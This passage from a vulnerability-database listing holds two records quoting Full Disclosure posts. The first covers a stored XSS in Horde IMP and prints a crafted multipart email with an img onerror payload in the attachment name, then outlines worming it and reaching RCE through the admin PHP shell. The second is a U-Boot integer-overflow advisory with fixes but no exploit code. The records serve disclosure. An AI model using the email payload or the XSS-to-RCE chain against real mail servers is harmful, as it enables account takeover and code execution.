"value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T08:27:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/115"
},
{
"url": "https://blog.evan.lat/posts/CVE-2026-65053/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/115"
],
"discovery": "EXTERNAL"
},
"title": "FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-65053",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0380",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115",
"automated": true,
"contentSha256": "994cae962871473fc31c842afa1725265e1e9be8bc37bb82c27388c4c46efad8",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/115",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-24T16:24:09Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0380"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T08:27:55Z",
"dateUpdated": "2026-09-11T08:27:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0380"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0379
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
[ADVISORY] Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)
Summary
-----BEGIN SECURITY ADVISORY-----
Title: Multiple Integer Overflows in U-Boot Filesystem Handling
Author: Timo Preißl <t.preissl () proton me>
Date: 2026-02-11
CVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293
Affected: Denx U-Boot <= v2026.01-rc4
Fixed in: v2026.04-rc1 (commit adccdb2)
== Overview ==
Multiple integer overflow vulnerabilities were discovered in the U-Boot
bootloader's filesystem handling code and command-line interface. These
flaws can lead to heap memory under-allocation followed by heap-based
buffer overflows, potentially allowing Arbitrary Code Execution (ACE)
in the pre-boot environment.
== Vulnerability Details ==
--- CVE-2025-70290: ZFS Metadata Integer Overflow ---
Component: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist
Impact: A crafted ZFS filesystem image with malformed on-disk metadata
can trigger an integer overflow during the size calculation
passed to calloc(), resulting in an undersized allocation and
subsequent out-of-bounds memory access.
Fix: Validation of allocation size using __builtin_add_overflow.
--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---
Component: fs/fs.c, function do_mv
Impact: Missing length checks in the directory move command allow an
integer overflow during string length addition. An attacker
with U-Boot shell access can trigger an under-allocation,
resulting in a heap buffer overflow via strcpy().
Fix: Safe addition of string lengths using compiler intrinsics.
--- CVE-2025-70292: SquashFS Integer Overflow ---
Component: fs/squashfs/sqfs.c, function sqfs_concat_tokens
Impact: Manipulated token lists trigger an overflow in
sqfs_get_tokens_length(), causing heap under-allocation
subsequently overflown by strcpy().
Fix: Validation of total token length before allocation.
--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---
Component: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable
Impact: An integer overflow in the block group descriptor table size
calculation results in an undersized buffer being passed to
memcpy(), causing memory corruption.
Fix: Guarded multiplication of block group count and descriptor size.
== Patch ==
All issues are fixed in the U-Boot master branch.
Commit: adccdb2f605a6e8e046712398712398123
"fix integer overflows in filesystem code"
https://source.denx.de/u-boot/u-boot/-/commit/adccdb2
== Timeline ==
Patch series submitted to upstream mailing list:
https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/
Fix merged: v2026.04-rc1
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
reference
GCVE-1988-2026-0379 (this record)
- related CVE-2025-70290
- related CVE-2025-70293
{
"containers": {
"cna": {
"affected": [
{
"product": "unknown",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "t.preissl via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN SECURITY ADVISORY-----\n\nTitle: Multiple Integer Overflows in U-Boot Filesystem Handling\nAuthor: Timo Prei\u00dfl \u003ct.preissl () proton me\u003e\nDate: 2026-02-11\nCVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293\nAffected: Denx U-Boot \u003c= v2026.01-rc4\nFixed in: v2026.04-rc1 (commit adccdb2)\n\n== Overview ==\n\nMultiple integer overflow vulnerabilities were discovered in the U-Boot\nbootloader\u0027s filesystem handling code and command-line interface. These\nflaws can lead to heap memory under-allocation followed by heap-based\nbuffer overflows, potentially allowing Arbitrary Code Execution (ACE)\nin the pre-boot environment.\n\n== Vulnerability Details ==\n\n--- CVE-2025-70290: ZFS Metadata Integer Overflow ---\n\nComponent: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist\nImpact: A crafted ZFS filesystem image with malformed on-disk metadata\ncan trigger an integer overflow during the size calculation\npassed to calloc(), resulting in an undersized allocation and\nsubsequent out-of-bounds memory access.\nFix: Validation of allocation size using __builtin_add_overflow.\n\n--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---\n\nComponent: fs/fs.c, function do_mv\nImpact: Missing length checks in the directory move command allow an\ninteger overflow during string length addition. An attacker\nwith U-Boot shell access can trigger an under-allocation,\nresulting in a heap buffer overflow via strcpy().\nFix: Safe addition of string lengths using compiler intrinsics.\n\n--- CVE-2025-70292: SquashFS Integer Overflow ---\n\nComponent: fs/squashfs/sqfs.c, function sqfs_concat_tokens\nImpact: Manipulated token lists trigger an overflow in\nsqfs_get_tokens_length(), causing heap under-allocation\nsubsequently overflown by strcpy().\nFix: Validation of total token length before allocation.\n\n--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---\n\nComponent: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable\nImpact: An integer overflow in the block group descriptor table size\ncalculation results in an undersized buffer being passed to\nmemcpy(), causing memory corruption.\nFix: Guarded multiplication of block group count and descriptor size.\n\n== Patch ==\n\nAll issues are fixed in the U-Boot master branch.\n\nCommit: adccdb2f605a6e8e046712398712398123\n\"fix integer overflows in filesystem code\"\n\nhttps://source.denx.de/u-boot/u-boot/-/commit/adccdb2\n\n== Timeline ==\n\nPatch series submitted to upstream mailing list:\nhttps://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/\n\nFix merged: v2026.04-rc1\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T08:27:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/118"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/118"
},
{
"url": "https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://source.denx.de/u-boot/u-boot/-/commit/adccdb2"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/118"
],
"discovery": "EXTERNAL"
},
"title": "[ADVISORY] Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-70290",
"type": "related"
},
{
"destId": "CVE-2025-70293",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0379",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/118",
"automated": true,
"contentSha256": "ede9cdc69b26403bb25c0cce5f648fe1b21aa472692a3d9d0b0800cb28eb176c",
"evidenceScore": 5,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/118",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-27T13:30:15Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0379"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T08:27:55Z",
"dateUpdated": "2026-09-11T08:27:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0379"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 11 - 20 publications in total 386